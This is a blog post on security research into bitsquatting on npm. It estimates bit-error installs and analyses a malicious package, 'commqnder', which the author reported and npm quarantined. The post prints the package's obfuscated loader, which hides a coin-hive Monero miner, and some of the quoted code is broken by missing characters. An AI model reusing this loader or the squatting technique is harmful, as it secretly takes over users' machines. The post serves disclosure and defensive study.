Bitsquatting NPM Packages

Ava Howell
Nov 27, 2017 · 3 min read
Image for post
Image for post

This blog post outlines some research I did into the npm registry, searching for malware. The results of this research were disclosed in late September 2017, and resulted in several packages being quarantined by their security team.

Bitsquatting is a somewhat well-known technique for exploiting computer hardware errors, receiving requests that were intended for a popular domain by squatting versions of the domain which are a single bit modified from the original. This technique was first written about extensively by Artem Dinaburg in .

Here’s a graph of npm’s download numbers, per 28 days.

Image for post
Image for post

This data gives us a recent figure of 13.5 Billion packages downloaded every 28 days, or ~4.82e8 downloads every single day. From this we can calculate an estimate of the average daily single-bit error rate by npm clients. Research from gives us an average estimated single bit error rate of around 1.06e-6.

(13500000000 / 28) * 1.06e-6 = ~511: ~511 single-bit-errored requests per day.

Intrigued, I wrote a to scan the npm registry for suspicious packages that may be exploiting single-bit errors to receive unintended installations. The npm registry contains a vast amount of packages, so the utility looks for ‘cyclical bitflip’ packages: packages whose names are a single bit away from a top 100 package, and also import that package.

I found a few packages. Notable among these was which is a single bit away from the popular commander package, and also imports that package. Let’s take a look at the source:

var d = h => => String.fromCharCode(s)).join("");
var r = require;
var c = r("commander");
var h = r(d([0x63,0x6f,0x69,0x6e,0x2d,0x68,0x69,0x76,0x65]));
(async () => {
var p = await h(d([0x4f,0x52,0x78,0x76,0x68,0x65,0x7a,0x65,0x67,0x54,0x79,0x6a,0x4f,0x75,0x52,0x38,0x49,0x78,0x4b,0x69,0x48,0x71,0x48,0x69,0x4b,0x6b,0x6e,0x63,0x4c,0x38,0x49,0x71]));
await p[d([0x73,0x74,0x61,0x72,0x74])]();
module.exports = c;

Something seems off about this. Time to do some reverse engineering. Those char code arrays look like a good place to start. The author wrote a handy function d to convert them back to strings, let’s see where that gets us:

var d = h => => String.fromCharCode(s)).join("");

The first hex string, coin-hive, gets passed to require. I wonder what coin-hive is?

Image for post
Image for post

Now it’s fairly clear what the rest of the code is doing: it initializes a coin-hive instance using the attacker’s site key and then calls the start method on that instance. The package exports the original underlying commander package, leaving this Monero miner unknowingly running on the errored machine.

At the time I discovered commqnder, it had received a few hundred installations per week according to npm’s stats. I reported commqnder to npm along with a brief description of the issues described in this blog post. Their security team has quarantined the reported packages.


The problems outlined in this blog post are a strict subset of the typosquatting problems that npm has had in the past. This specific case is a bit more insidious, since the installations are a result of machine memory errors instead of human typos. Hopefully package manager maintainers will be more weary of this problem in the future, possibly flagging packages which are a single bit away from heavily trafficked packages.


Ava Howell’s Blog

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store